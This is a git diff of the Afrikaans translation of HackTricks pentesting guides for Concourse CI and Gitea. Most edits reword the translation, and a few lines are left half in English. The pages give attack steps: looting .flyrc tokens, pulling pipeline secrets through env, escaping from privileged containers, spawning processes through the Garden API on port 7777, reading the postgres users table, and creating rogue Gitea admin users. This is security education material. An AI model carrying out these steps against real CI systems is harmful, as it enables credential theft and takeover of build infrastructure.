**opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die credential manager kies om 'n 'standaard veld' van die verkregen credential te lees as die veld bestaan.\ -Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ op `my.secret` stel en die _secret-field_ op `field:1`. +[Van die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wye kredietbestuurder](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [statisch](https://concourse-ci.org/vars.html#static-vars) verskaf word.\ +Die **opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die kredietbestuurder kies om 'n 'standaard veld' van die verkregen krediet te lees as die veld bestaan.\ +Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ stel na `my.secret` en die _secret-field_ na `field:1`. -#### Static Vars +#### Statische Vars -Statische vars kan in **take stappe** gespesifiseer word: +Statische vars kan gespesifiseer word in **take stappe**: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or gebruik die volgende `fly` **argumente**: +Of deur die volgende `fly` **argumente** te gebruik: - `-v` of `--var` `NAME=VALUE` stel die string `VALUE` as die waarde vir die var `NAME` in. - `-y` of `--yaml-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die var `NAME` in. -- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer te leer oor instance vars. -- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var name aan waardes koppel, en stel dit alles in. +- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer oor instance vars te leer. +- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var name aan waardes koppel, en stel hulle almal in. #### Kredensiaalbestuur Daar is verskillende maniere waarop 'n **Kredensiaalbestuurder gespesifiseer kan word** in 'n pyplyn, lees hoe in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ Boonop ondersteun Concourse verskillende kredensiaalbestuurders: -- [Die Vault kredensiaalbestuurder](https://concourse-ci.org/vault-credential-manager.html) -- [Die CredHub kredensiaalbestuurder](https://concourse-ci.org/credhub-credential-manager.html) -- [Die AWS SSM kredensiaalbestuurder](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [Die AWS Secrets Manager kredensiaalbestuurder](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Kredensiaalbestuurder](https://concourse-ci.org/kubernetes-credential-manager.html) -- [Die Conjur kredensiaalbestuurder](https://concourse-ci.org/conjur-credential-manager.html) -- [Kredensiale kas](https://concourse-ci.org/creds-caching.html) -- [Kredensiale redigering](https://concourse-ci.org/creds-redacting.html) -- [Herhaal mislukte verkrygings](https://concourse-ci.org/creds-retry-logic.html) +- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) +- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) +- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) +- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) +- [Caching credentials](https://concourse-ci.org/creds-caching.html) +- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) +- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Let daarop dat as jy 'n soort **skrywe toegang tot Concourse** het, jy werksgeleenthede kan skep om **daardie geheime te onttrek** aangesien Concourse toegang tot hulle moet hê. ### Concourse Enumerasie -Om 'n concourse omgewing te enumerateer, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind waarskynlik in 'n `.flyrc` konfigurasie lêer. +Om 'n concourse omgewing te enumerate, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind, waarskynlik in 'n `.flyrc` konfigurasie lêer. -#### Teken in en Huidige Gebruiker enum +#### Aanmelding en Huidige Gebruiker enum -- Om in te teken, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet: +- Om aan te meld, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - Kry geconfigureerde **teikens**: - `fly targets` @@ -75,7 +75,7 @@ Om 'n concourse omgewing te enumerateer, moet jy eers **geldige kredensiale vers - `fly -t userinfo` > [!NOTE] -> Let daarop dat die **API token** **gestoor** word in `$HOME/.flyrc` per standaard, jy wat 'n masjien plunder, kan daar die kredensiale vind. +> Let daarop dat die **API-token** standaard in `$HOME/.flyrc` **gestoor** word, jy wat 'n masjien plunder, kan daar die kredensiale vind. #### Spanne & Gebruikers @@ -113,7 +113,7 @@ rm /tmp/secrets.txt - `fly -t workers` - Lys **houers**: - `fly -t containers` -- Lys **boude** (om te sien wat aan die gang is): +- Lys **bou** (om te sien wat aan die gang is): - `fly -t builds` ### Concourse Aanvalle @@ -125,7 +125,7 @@ rm /tmp/secrets.txt #### Geheimenisse en params enumerasie -In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheimenisse sal nuttig wees later om te probeer om** hulle te steel. +In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheime sal nuttig wees later om te probeer steel**. #### Sessie binne lopende of onlangs lopende houer @@ -166,7 +166,7 @@ sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` -Met die **wysiging/creatie** van 'n nuwe pyplyn sal jy in staat wees om: +Met die **wysiging/creasie** van 'n nuwe pyplyn sal jy in staat wees om: - **Steal** die **secrets** (deur dit uit te echo of binne die houer in te gaan en `env` te loop) - **Escape** na die **node** (deur jou genoeg regte te gee - `privileged: true`) @@ -304,7 +304,7 @@ env | grep -i local_user CONCOURSE_MAIN_TEAM_LOCAL_USER=test CONCOURSE_ADD_LOCAL_USER=test:test ``` -Jy kan daardie geloofsbriewe gebruik om **in te log teen die webbediener** en **‘n bevoorregte houer te skep en na die node te ontsnap**. +Jy kan daardie geloofsbriewe gebruik om **in te teken teen die webbediener** en **'n bevoorregte houer te skep en na die node te ontsnap**. In die omgewing kan jy ook inligting vind om **toegang te verkry tot die postgresql** instansie wat concourse gebruik (adres, **gebruikersnaam**, **wagwoord** en databasis onder andere inligting): ```bash @@ -332,9 +332,9 @@ select * from users; > [!WARNING] > Dit is net 'n paar interessante notas oor die diens, maar omdat dit net op localhost luister, sal hierdie notas geen impak hê wat ons nog nie voorheen uitgebuit het nie. -Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (aflaai van die beeld en elke taak uitvoer). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings: +Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (laai die beeld af en voer elke taak uit). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings: -- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens outentiseer, word 'n tonnel geskep sodat die webbediener **met elke Garden diens** binne elke werker kan **praat**. +- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens autentiseer, word 'n tonnel geskep sodat die webbediener met elke Garden diens **kan praat** binne elke werker. - Die webbediener **monitor die lopende houers elke paar sekondes**, en **onverwagte** houers word **verwyder**. So as jy 'n **aangepaste houer** wil **uitvoer**, moet jy **inmeng** met die **kommunikasie** tussen die webbediener en die garden diens. Concourse werkers loop met hoë houer bevoegdhede: @@ -348,14 +348,14 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +Tog, tegnieke soos **mounting** die /dev toestel van die node of release_agent **sal nie werk nie** (aangesien die werklike toestel met die lêerstelsel van die node nie toeganklik is nie, slegs 'n virtuele een). Ons kan nie prosesse van die node toegang nie, so om te ontsnap van die node sonder kernel exploits raak ingewikkeld. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> In die vorige afdeling het ons gesien hoe om te ontsnap uit 'n bevoorregte houer, so as ons **opdragte** kan **uitvoer** in 'n **bevoorregte houer** geskep deur die **huidige** **werker**, kan ons **ontsnap na die node**. -Let wel, terwyl ek met concourse gespeel het, het ek opgemerk dat wanneer 'n nuwe container geskep word om iets te laat loop, die container prosesse vanaf die werker container toeganklik is, so dit is soos 'n container wat 'n nuwe container binne-in hom skep. +Let daarop dat ek met concourse gespeel het en opgemerk het dat wanneer 'n nuwe houer geskep word om iets te loop, die houer prosesse toeganklik is vanaf die werker houer, so dit is soos 'n houer wat 'n nuwe houer binne-in hom skep. -**Getting inside a running privileged container** +**Om binne 'n lopende bevoorregte houer te kom** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -However, die webbediener kontroleer elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy: +Die webbediener kontroleer egter elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 5d960758b..abb34aa64 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -1,23 +1,23 @@ -# Concourse Lab Creation +# Concourse Laboratorium Skepping {{#include ../../banners/hacktricks-training.md}} -## Toetsomgewing +## Toets Omgewing -### Loop Concourse +### Concourse Loop #### Met Docker-Compose -Hierdie docker-compose-lêer vereenvoudig die installasie om 'n paar toetse met concourse te doen: +Hierdie docker-compose lêer vereenvoudig die installasie om 'n paar toetse met concourse te doen: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` +U kan die opdraglyn `fly` vir u OS van die web aflaai by `127.0.0.1:8080` #### Met Kubernetes (Aanbeveel) -You can easily deploy concourse in **Kubernetes** (in **minikube** byvoorbeeld) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +U kan maklik concourse in **Kubernetes** (in **minikube** byvoorbeeld) ontplooi met die helm-kaart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -Na die generering van die concourse omgewing, kan jy 'n geheim genereer en toegang gee aan die SA wat in concourse web loop om K8s geheime te benader: +Na die generering van die concourse omgewing, kan jy 'n geheim genereer en toegang gee aan die SA wat in concourse web loop om K8s geheime te bekom: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -77,12 +77,12 @@ Verskeie verskillende tipes stappe kan gebruik word: - **die** [**`task` stap**](https://concourse-ci.org/task-step.html) **voert 'n** [**taak**](https://concourse-ci.org/tasks.html) **uit** - die [`get` stap](https://concourse-ci.org/get-step.html) haal 'n [bron](https://concourse-ci.org/resources.html) op -- die [`put` stap](https://concourse-ci.org/put-step.html) werk 'n [bron](https://concourse-ci.org/resources.html) by +- die [`put` stap](https://concourse-ci.org/put-step.html) werk 'n [bron](https://concourse-ci.org/resources.html) op - die [`set_pipeline` stap](https://concourse-ci.org/set-pipeline-step.html) konfigureer 'n [pyplyn](https://concourse-ci.org/pipelines.html) - die [`load_var` stap](https://concourse-ci.org/load-var-step.html) laai 'n waarde in 'n [lokale var](https://concourse-ci.org/vars.html#local-vars) - die [`in_parallel` stap](https://concourse-ci.org/in-parallel-step.html) voer stappe parallel uit - die [`do` stap](https://concourse-ci.org/do-step.html) voer stappe in volgorde uit -- die [`across` stap modifier](https://concourse-ci.org/across-step.html#schema.across) voer 'n stap verskeie kere uit; een keer vir elke kombinasie van veranderlike waardes +- die [`across` stap modifier](https://concourse-ci.org/across-step.html#schema.across) voer 'n stap verskeie kere uit; een vir elke kombinasie van veranderlike waardes - die [`try` stap](https://concourse-ci.org/try-step.html) probeer om 'n stap uit te voer en slaag selfs al misluk die stap Elke [stap](https://concourse-ci.org/steps.html) in 'n [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) loop in sy **eie houer**. Jy kan enigiets wat jy wil binne die houer uitvoer _(d.w.s. voer my toetse uit, voer hierdie bash-skrip uit, bou hierdie beeld, ens.)_. So as jy 'n werk het met vyf stappe, sal Concourse vyf houers skep, een vir elke stap. @@ -131,13 +131,13 @@ Dit is moontlik om **die resultate van een taak in 'n lêer te stoor** en aan te ### Triggers -Jy hoef nie die werksgeleenthede handmatig te aktiveer elke keer wanneer jy hulle wil uitvoer nie, jy kan ook program dat hulle elke keer uitgevoer word: +Jy hoef nie die werksgeleenthede handmatig te aktiveer elke keer wanneer jy hulle moet uitvoer nie, jy kan ook program dat hulle elke keer uitgevoer word: - 'n Bietjie tyd verby: [Time resource](https://github.com/concourse/time-resource/) - Op nuwe verbintenisse na die hooftak: [Git resource](https://github.com/concourse/git-resource) - Nuwe PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Trek of druk die nuutste beeld van jou app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) +- Laai die nuutste beeld van jou app af of druk dit: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Kontroleer 'n YAML pypuntvoorbeeld wat aktiveer op nuwe verbintenisse na meester in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Kontroleer 'n YAML-pypuntvoorbeeld wat aktiveer op nuwe verbintenisse na meester in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 5dc5762c8..33fdb22c3 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,10 +1,10 @@ -# Gitea Veiligheid +# Gitea Sekuriteit {{#include ../../banners/hacktricks-training.md}} ## Wat is Gitea -**Gitea** is 'n **self-hosted gemeenskap bestuurde liggewig kode hosting** oplossing geskryf in Go. +**Gitea** is 'n **self-hosted gemeenskapsbestuurde liggewig kode hosting** oplossing geskryf in Go. ![](<../../images/image (160).png>) @@ -16,11 +16,11 @@ basic-gitea-information.md ## Laboratorium -Om 'n Gitea-instantie plaaslik te laat loop, kan jy eenvoudig 'n docker-container uitvoer: +Om 'n Gitea-instansie plaaslik te laat loop, kan jy net 'n docker-container uitvoer: ```bash docker run -p 3000:3000 gitea/gitea ``` -Verbind met poort 3000 om die webblad te bekom. +Verbind met poort 3000 om toegang tot die webblad te verkry. Jy kan dit ook met kubernetes uitvoer: ``` @@ -41,7 +41,7 @@ Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening ### Met Gebruiker Kredensiale/Web Koekie -As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het (of jy het 'n sessie koekie gesteel) kan jy **net inlog** en kyk watter **regte jy het** oor watter **repos,** in **watter spanne** jy is, **lys ander gebruikers**, en **hoe die repos beskerm word.** +As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het (of jy het 'n sessie koekie gesteel) kan jy **net aanmeld** en kyk watter **toestemmings jy het** oor watter **repos,** in **watter spanne** jy is, **lys ander gebruikers**, en **hoe die repos beskerm word.** Let daarop dat **2FA gebruik mag word** so jy sal slegs toegang tot hierdie inligting hê as jy ook **daardie toets kan slaag**. @@ -58,9 +58,9 @@ Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sek # Get repo config and current user name and email git config --list ``` -As die gebruiker sy gebruikersnaam as sy gitea gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy ingestel het** in sy rekening op _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word. +As die gebruiker sy gebruikersnaam as sy gitea gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy gestel het** in sy rekening op _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word. -**SSH sleutels** kan ook in repositories as **deploy sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou. +**SSH sleutels** kan ook in repositories as **deploy sleutels** gestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou. #### GPG Sleutels @@ -70,38 +70,38 @@ Kontroleer plaaslik of die huidige gebruiker enige sleutel het met: ```shell gpg --list-secret-keys --keyid-format=long ``` -### Met Gebruikersteken +### Met Gebruikerstoken -Vir 'n inleiding oor [**Gebruikersteke kyk na die basiese inligting**](basic-gitea-information.md#personal-access-tokens). +Vir 'n inleiding oor [**Gebruikerstokens kyk na die basiese inligting**](basic-gitea-information.md#personal-access-tokens). -'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** om te **verifieer** teen die Gitea bediener [**via API**](https://try.gitea.io/api/swagger#/). Dit sal **volledige toegang** oor die gebruiker hê. +'n Gebruikerstoken kan gebruik word **in plaas van 'n wagwoord** om teen die Gitea-bediener **te verifieer** [**via API**](https://try.gitea.io/api/swagger#/). Dit sal **volledige toegang** oor die gebruiker hê. ### Met Oauth Toepassing Vir 'n inleiding oor [**Gitea Oauth Toepassings kyk na die basiese inligting**](./#with-oauth-application). -'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot bevoorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar. +'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot bevoorregte data/aksies van die gebruikers wat hulle waarskynlik as deel van 'n phishingveldtog aanvaar. -Soos verduidelik in die basiese inligting, sal die toepassing **volledige toegang oor die gebruikersrekening** hê. +Soos in die basiese inligting verduidelik, sal die toepassing **volle toegang oor die gebruikersrekening** hê. ### Takbeskerming Omseiling -In Github het ons **github aksies** wat standaard 'n **teken met skrywe toegang** oor die repo ontvang wat gebruik kan word om **takbeskermings te omseil**. In hierdie geval **bestaan dit nie**, so die omseilings is meer beperk. Maar kom ons kyk na wat gedoen kan word: +In Github het ons **github aksies** wat standaard 'n **token met skrywe toegang** oor die repo kry wat gebruik kan word om **takbeskermings te omseil**. In hierdie geval **bestaan dit nie**, so die omseilings is meer beperk. Maar kom ons kyk na wat gedoen kan word: - **Aktiveer Push**: As iemand met skrywe toegang na die tak kan push, push net daarna. - **Whitelist Beperkte Push**: Op dieselfde manier, as jy deel van hierdie lys is, push na die tak. -- **Aktiveer Samevoeg Whitelist**: As daar 'n samevoeg whitelist is, moet jy binne dit wees. +- **Aktiveer Merge Whitelist**: As daar 'n samensmeltings-whitelist is, moet jy binne dit wees. - **Vereis goedkeuring is groter as 0**: Dan... moet jy 'n ander gebruiker kompromitteer. - **Beperk goedkeuring tot whitelisted**: As slegs whitelisted gebruikers kan goedkeur... moet jy 'n ander gebruiker kompromitteer wat binne daardie lys is. -- **Verwerp verouderde goedkeuring**: As goedkeuring nie verwyder word met nuwe verbintenisse nie, kan jy 'n reeds goedgekeurde PR oorneem om jou kode in te voeg en die PR te saamvoeg. +- **Verwerp verouderde goedkeuring**: As goedkeuring nie verwyder word met nuwe verbintenisse nie, kan jy 'n reeds goedgekeurde PR oorneem om jou kode in te voeg en die PR te meng. Let daarop dat **as jy 'n org/repo admin is** jy die beskermings kan omseil. ### Enumereer Webhooks -**Webhooks** is in staat om **spesifieke gitea inligting na sekere plekke te stuur**. Jy mag in staat wees om **daardie kommunikasie te benut**.\ -E however, gewoonlik word 'n **geheim** wat jy **nie kan herwin nie** in die **webhook** gestel wat **voorkom** dat eksterne gebruikers wat die URL van die webhook ken maar nie die geheim nie, om **daardie webhook te benut**.\ -Maar in sommige gevalle, in plaas daarvan om die **geheim** op sy plek te stel, stel mense dit **in die URL** as 'n parameter, so **om die URL's te kontroleer** kan jou toelaat om **geheime te vind** en ander plekke wat jy verder kan benut. +**Webhooks** is in staat om **spesifieke gitea-inligting na sekere plekke te stuur**. Jy mag in staat wees om daardie kommunikasie te **benut**.\ +E however, gewoonlik word 'n **geheim** wat jy **nie kan herwin nie** in die **webhook** gestel wat **voorkom** dat eksterne gebruikers wat die URL van die webhook ken maar nie die geheim nie, daardie webhook kan **benut**.\ +Maar in sommige gevalle, in plaas daarvan om die **geheim** op sy plek te stel, stel mense dit **in die URL** as 'n parameter, so **om die URL's te kontroleer** kan jou toelaat om **geheime** en ander plekke te vind wat jy verder kan benut. Webhooks kan op **repo en org vlak** gestel word. @@ -109,22 +109,22 @@ Webhooks kan op **repo en org vlak** gestel word. ### Binne die bediener -As jy op een of ander manier daarin geslaag het om binne die bediener waar gitea loop te kom, moet jy soek na die gitea konfigurasie lêer. Standaard is dit geleë in `/data/gitea/conf/app.ini` +As jy op een of ander manier daarin geslaag het om binne die bediener waar gitea loop te kom, moet jy soek na die gitea-konfigurasie-lêer. Standaard is dit geleë in `/data/gitea/conf/app.ini` In hierdie lêer kan jy **sleutels** en **wagwoorde** vind. -In die gitea pad (standaard: /data/gitea) kan jy ook interessante inligting vind soos: +In die gitea-pad (standaard: /data/gitea) kan jy ook interessante inligting vind soos: - Die **sqlite** DB: As gitea nie 'n eksterne db gebruik nie, sal dit 'n sqlite db gebruik. -- Die **sessies** binne die sessies gids: Deur `cat sessions/*/*/*` te loop, kan jy die gebruikersname van die ingelogde gebruikers sien (gitea kan ook die sessies binne die DB stoor). -- Die **jwt private sleutel** binne die jwt gids. +- Die **sessies** binne die sessies-gids: Deur `cat sessions/*/*/*` te loop, kan jy die gebruikersname van die ingelogde gebruikers sien (gitea kan ook die sessies binne die DB stoor). +- Die **jwt private sleutel** binne die jwt-gids. - Meer **sensitiewe inligting** kan in hierdie gids gevind word. -As jy binne die bediener is, kan jy ook **die `gitea` binêre** gebruik om inligting te bekom/wysig: +As jy binne die bediener is, kan jy ook die **`gitea` binêre** gebruik om inligting te bekom/wysig: -- `gitea dump` sal gitea dump en 'n .zip lêer genereer. -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` sal 'n teken van die aangeduide tipe genereer (volharding). +- `gitea dump` sal gitea dump en 'n .zip-lêer genereer. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` sal 'n token van die aangeduide tipe genereer (volharding). - `gitea admin user change-password --username admin --password newpassword` Verander die wagwoord. -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Skep 'n nuwe admin gebruiker en kry 'n toegangsteken. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Skep 'n nuwe admin gebruiker en kry 'n toegangstoken. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 411c83250..4a9b9b447 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,10 +1,10 @@ -# Basic Gitea Information +# Basiese Gitea Inligting {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Basiese Struktuur -Die basiese Gitea omgewingstruktuur is om repos te groepeer volgens **organisasie(s),** elk van hulle kan **verskeie repositories** en **verskeie span** bevat. Let egter daarop dat, net soos in github, gebruikers repos buite die organisasie kan hê. +Die basiese Gitea omgewingstruktuur is om repos te groepeer volgens **organisasie(s),** elk van hulle kan **verskeie repositories** en **verskeie spanne** bevat. Let egter daarop dat, net soos in github, gebruikers repos buite die organisasie kan hê. Boonop kan 'n **gebruiker** 'n **lid** van **verskillende organisasies** wees. Binne die organisasie kan die gebruiker **verskillende toestemmings oor elke repository** hê. @@ -12,9 +12,9 @@ Boonop kan 'n **gebruiker** 'n **lid** van **verskillende organisasies** wees. B En uiteindelik **kan repositories spesiale beskermingsmeganismes hê**. -## Permissions +## Toestemmings -### Organizations +### Organisasies Wanneer 'n **organisasie geskep word** word 'n span genaamd **Eienaars** **geskep** en die gebruiker word daarin geplaas. Hierdie span sal **admin toegang** oor die **organisasie** gee, daardie **toestemmings** en die **naam** van die span **kan nie gewysig word** nie. @@ -36,7 +36,7 @@ Wanneer 'n nuwe span geskep word, word verskeie belangrike instellings gekies: ![](<../../images/image (118).png>) -### Teams & Users +### Spanne & Gebruikers In 'n repo kan die **org admin** en die **repo admins** (indien toegelaat deur die org) die **rolle** wat aan samewerkers (ander gebruikers) en spanne gegee word, **bestuur**. Daar is **3** moontlike **rolle**: @@ -44,42 +44,42 @@ In 'n repo kan die **org admin** en die **repo admins** (indien toegelaat deur d - Skryf - Lees -## Gitea Authentication +## Gitea Verifikasie -### Web Access +### Webtoegang Gebruik **gebruikersnaam + wagwoord** en moontlik (en aanbeveel) 'n 2FA. -### **SSH Keys** +### **SSH Sleutels** Jy kan jou rekening met een of verskeie publieke sleutels konfigureer wat die verwante **private sleutel toelaat om aksies namens jou uit te voer.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **GPG Sleutels** -Jy **kan nie die gebruiker met hierdie sleutels naboots nie** maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van commits sonder 'n handtekening**. +Jy **kan nie die gebruiker met hierdie sleutels naboots nie** maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van verbintenisse sonder 'n handtekening**. -### **Personal Access Tokens** +### **Persoonlike Toegangstokens** Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. 'n Persoonlike toegangstoken gee volle toegang oor jou rekening: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Oauth Toepassings -Net soos persoonlike toegangstokens sal **Oauth applications** **volledige toegang** oor jou rekening en die plekke waar jou rekening toegang het hê, omdat, soos in die [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) aangedui, scopes nog nie ondersteun word nie: +Net soos persoonlike toegangstokens **Oauth toepassings** sal **volledige toegang** oor jou rekening en die plekke waar jou rekening toegang het hê, omdat, soos in die [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) aangedui, scopes nog nie ondersteun word nie: ![](<../../images/image (194).png>) -### Deploy keys +### Ontplooi sleutels -Deploy sleutels kan slegs lees- of skryftoegang tot die repo hê, so hulle kan interessant wees om spesifieke repos te kompromitteer. +Ontplooi sleutels kan lees-slegs of skryf toegang tot die repo hê, so hulle kan interessant wees om spesifieke repos te kompromitteer. -## Branch Protections +## Takbeskermings -Branch beskermings is ontwerp om **nie volledige beheer van 'n repository** aan die gebruikers te gee nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat jy in staat is om kode in 'n sekere tak te skryf**. +Takbeskermings is ontwerp om **nie volledige beheer van 'n repository aan die gebruikers te gee** nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat jy in staat is om kode binne 'n tak te skryf**. -Die 